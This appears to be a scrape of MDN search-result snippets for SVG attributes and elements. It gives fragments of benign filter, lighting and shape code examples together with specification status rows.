horiz-adv-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <glyph> and <missing-glyph>' in that specification.
... recommendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <font>' in that specification.
... recommendation initial definition for <font> ...
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
specifications specification status comment scalable vector graphics (svg) 2the definition of 'id' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'id' in that specification.
... recommendation initial definition ...
in - SVG: Scalable Vector Graphics
WebSVGAttributein
//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in' in that specification.
... recommendation initial definition ...
intercept - SVG: Scalable Vector Graphics
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'intercept' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'intercept' in that specification.
... recommendation initial definition ...
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
/> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k1' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k1' in that specification.
... recommendation initial definition ...
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
/> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k2' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k2' in that specification.
... recommendation initial definition ...
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
/> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k3' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k3' in that specification.
... recommendation initial definition ...
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
/> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k4' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k4' in that specification.
... recommendation initial definition ...
kernelMatrix - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'kernelmatrix' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelmatrix' in that specification.
... recommendation initial definition ...
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
specifications specification status comment scalable vector graphics (svg) 2the definition of 'lang' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'lang' in that specification.
... recommendation deprecated definition of the attribute for <glyph> elements ...
lengthAdjust - SVG: Scalable Vector Graphics
</text> </g> </svg> usage notes value spacing | spacingandglyphs default value spacing animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'lengthadjust' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'lengthadjust' in that specification.
... recommendation initial definition ...
lighting-color - SVG: Scalable Vector Graphics
0" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'lighting-color' in that specification.
... recommendation initial definition ...
limitingConeAngle - SVG: Scalable Vector Graphics
"0" width="200" height="200" style="filter: url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'limitingconeangle' in that specification.
... recommendation initial definition ...
marker-end - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-end' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-end' in that specification.
... recommendation initial definition ...
marker-mid - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-mid' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-mid' in that specification.
... recommendation initial definition ...
marker-start - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-start' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-start' in that specification.
... recommendation initial definition ...
markerHeight - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerheight' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerheight' in that specification.
... recommendation initial definition ...
markerUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerunits' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerunits' in that specification.
... recommendation initial definition ...
markerWidth - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerwidth' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerwidth' in that specification.
... recommendation initial definition ...
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
s: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> usage notes value see the css property mask default value none animatable yes specifications specification status comment css masking module level 1the definition of 'mask' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification.
... recommendation initial definition ...
maskContentUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'maskcontentunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'maskcontentunits' in that specification.
... recommendation initial definition ...
maskUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'maskunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'maskunits' in that specification.
... recommendation initial definition ...
method - SVG: Scalable Vector Graphics
WebSVGAttributemethod
specifications specification status comment scalable vector graphics (svg) 2the definition of 'method' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'method' in that specification.
... recommendation initial definition ...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
specifications specification status comment filter effects module level 1the definition of 'mode' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'mode' in that specification.
... recommendation initial definition ...
name - SVG: Scalable Vector Graphics
WebSVGAttributename
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <font-face-name>' in that specification.
... recommendation initial definition for <font-face-name> scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <color-profile>' in that specification.
... recommendation initial definition for <color-profile> ...
numOctaves - SVG: Scalable Vector Graphics
requency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'numoctaves' in that specification.
... recommendation initial definition ...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
0%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'onclick' in that specification.
... recommendation initial definition ...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
specifications specification status comment filter effects module level 1the definition of 'order' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'order' in that specification.
... recommendation initial definition ...
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
specifications specification status comment scalable vector graphics (svg) 2the definition of 'orient' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'orient' in that specification.
... recommendation initial definition ...
origin - SVG: Scalable Vector Graphics
WebSVGAttributeorigin
only one element is using this attribute: <animatemotion> context notes value default default value default animatable no specifications specification status comment svg animations level 2the definition of 'origin' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'origin' in that specification.
... recommendation initial definition (referring to smil animation specification) ...
panose-1 - SVG: Scalable Vector Graphics
the initial value zero for each panose digit means "any", i.e.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'panose-1' in that specification.
... recommendation initial definition ...
pathLength - SVG: Scalable Vector Graphics
value <number> default value none animatable yes specification specification status comment scalable vector graphics (svg) 2the definition of 'pathlength' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pathlength' in that specification.
... recommendation initial definition ...
patternContentUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'patterncontentunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patterncontentunits' in that specification.
... recommendation initial definition ...
patternUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'patternunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patternunits' in that specification.
... recommendation initial definition ...
pointer-events - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification.
... recommendation initial definition ...
pointsAtX - SVG: Scalable Vector Graphics
y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatx' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatx' in that specification.
... recommendation initial definition ...
pointsAtY - SVG: Scalable Vector Graphics
y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsaty' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsaty' in that specification.
... recommendation initial definition ...
preserveAlpha - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'preservealpha' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'preservealpha' in that specification.
... recommendation initial definition ...
radius - SVG: Scalable Vector Graphics
WebSVGAttributeradius
usage notes value <number-optional-number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'radius' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'radius' in that specification.
... recommendation initial definition ...
requiredExtensions - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'requiredextensions' in that specification.
... candidate recommendation iris replaced with urls scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredextensions' in that specification.
... recommendation initial definition ...
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
specifications specification status comment svg animations level 2the definition of 'restart' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'restart' in that specification.
... recommendation initial definition ...
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
specifications specification status comment filter effects module level 1the definition of 'result' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'result' in that specification.
... recommendation initial definition ...
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
specifications specification status comment filter effects module level 1the definition of 'scale' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'scale' in that specification.
... recommendation initial definition ...
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
sefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
... recommendation initial definition ...
shape-rendering - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'shape-rendering' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
spacing - SVG: Scalable Vector Graphics
WebSVGAttributespacing
specifications specification status comment scalable vector graphics (svg) 2the definition of 'spacing' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spacing' in that specification.
... recommendation initial definition ...
specularConstant - SVG: Scalable Vector Graphics
ht="200" style="filter: url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstant' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularconstant' in that specification.
... recommendation initial definition ...
stdDeviation - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'stddeviation' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'stddeviation' in that specification.
... recommendation initial definition ...
stitchTiles - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'stitchtiles' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'stitchtiles' in that specification.
... recommendation initial definition ...
stop-color - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'stop-color' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'stop-color' in that specification.
... recommendation initial definition ...
stroke-dasharray - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dasharray' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dasharray' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-dashoffset - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dashoffset' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dashoffset' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-linecap - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-linecap' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-linecap' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-linejoin - SVG: Scalable Vector Graphics
each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke-linejoin' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-linejoin' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-miterlimit - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-miterlimit' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-miterlimit' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-opacity - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-opacity' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-width - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-width' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-width' in that specification.
... recommendation initial definition for shapes and texts ...
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
specifications specification status comment scalable vector graphics (svg) 2the definition of 'style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'style' in that specification.
... recommendation initial definition ...
systemLanguage - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'systemlanguage' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'systemlanguage' in that specification.
... recommendation initial definition ...
tableValues - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'tablevalues' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'tablevalues' in that specification.
... recommendation initial definition ...
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
specifications specification status comment filter effects module level 1the definition of 'targetx' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targetx' in that specification.
... recommendation initial definition ...
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
specifications specification status comment filter effects module level 1the definition of 'targety' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'targety' in that specification.
... recommendation initial definition ...
text-rendering - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
textLength - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'textlength' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'textlength' in that specification.
... recommendation initial definition ...
transform-origin - SVG: Scalable Vector Graphics
offsets that are not explicitly defined are reset to their corresponding initial values.
... specifications specification status comment css transforms level 1the definition of 'transform-origin' in that specification.
... working draft scalable vector graphics (svg) 2the definition of 'transform-origin' in that specification.
unicode-bidi - SVG: Scalable Vector Graphics
specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-bidi' in that specification.
... recommendation initial definition ...
units-per-em - SVG: Scalable Vector Graphics
note: this value is almost always necessary as nearly every other attribute requires the definition of a design grid.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'units-per-em' in that specification.
... recommendation initial definition ...
vert-adv-y - SVG: Scalable Vector Graphics
value <number> default value <font>ʼs vert-adv-y value animatable no <number> this value indicates the vertical advance of the glyph in vertical direction specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification.
... recommendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <font>' in that specification.
... recommendation initial definition for <font> ...
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
value <number>?, <number>?, <number>?, <number> default value none animatable yes specification specification status comment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewbox' in that specification.
... recommendation initial definition ...
xChannelSelector - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'xchannelselector' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'xchannelselector' in that specification.
... recommendation initial definition ...
xlink:title - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
... recommendation initial definition ...
xml:lang - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:lang' in that specification.
... recommendation initial definition ...
xml:space - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:space' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:space' in that specification.
... recommendation initial definition ...
yChannelSelector - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'ychannelselector' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'ychannelselector' in that specification.
... recommendation initial definition ...
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<a>' in that specification.
... candidate recommendation replaced xlink:href attribute by href scalable vector graphics (svg) 1.1 (second edition)the definition of '<a>' in that specification.
... recommendation initial definition ...
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<circle>' in that specification.
... recommendation initial definition ...
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<defs>' in that specification.
... recommendation initial definition ...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specification.
... recommendation initial definition ...
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification.
... candidate recommendation added auto value for rx and ry scalable vector graphics (svg) 1.1 (second edition)the definition of '<ellipse>' in that specification.
... recommendation initial definition ...
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
acity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
... working draft outsourced blend modes to compositing and blending level 1 scalable vector graphics (svg) 1.1 (second edition)the definition of '<feblend>' in that specification.
... recommendation initial definition ...
<feColorMatrix> - SVG: Scalable Vector Graphics
toalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 350)" filter="url(#colormelta)" /> <text x="70" y="400">luminancetoalpha</text> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fecolormatrix>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fecolormatrix>' in that specification.
... recommendation initial definition ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
ction</text> <rect x="0" y="230" width="100%" height="20" style="filter:url(#linear)"></rect> <text x="0" y="270">gamma function</text> <rect x="0" y="280" width="100%" height="20" style="filter:url(#gamma)"></rect> </g> </svg> css rect { fill: url(#rainbow); } result specifications specification status comment filter effects module level 1the definition of '<fecomponenttransfer>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<fecomponenttransfer>' in that specification.
... recommendation initial definition ...
<feComposite> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<fecomposite>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<fecomposite>' in that specification.
... recommendation initial definition ...
<feConvolveMatrix> - SVG: Scalable Vector Graphics
d="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<feconvolvematrix>' in that specification.
... recommendation initial definition ...
<feDiffuseLighting> - SVG: Scalable Vector Graphics
0"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="390" cy="80" r="50" fill="green" filter="url(#lightme3)" /> </svg> expected rendering: live rendering: specifications specification status comment filter effects module level 1the definition of '<fediffuselighting>' in that specification.
... working draft deprecated kernelunitlength attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<fediffuselighting>' in that specification.
... recommendation initial definition ...
<feDisplacementMap> - SVG: Scalable Vector Graphics
requency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
... working draft no changes scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedisplacementmap>' in that specification.
... recommendation initial definition ...
<feDistantLight> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<fedistantlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedistantlight>' in that specification.
... recommendation initial definition ...
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
vg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feflood>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<feflood>' in that specification.
... recommendation initial definition ...
<feFuncA> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncA
specifications specification status comment filter effects module level 1the definition of '<fefunca>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefunca>' in that specification.
... recommendation initial definition ...
<feFuncB> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncB
specifications specification status comment filter effects module level 1the definition of '<fefuncb>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncb>' in that specification.
... recommendation initial definition ...
<feFuncG> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncG
specifications specification status comment filter effects module level 1the definition of '<fefuncg>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncg>' in that specification.
... recommendation initial definition ...
<feFuncR> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncR
specifications specification status comment filter effects module level 1the definition of '<fefuncr>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncr>' in that specification.
... recommendation initial definition ...
<feGaussianBlur> - SVG: Scalable Vector Graphics
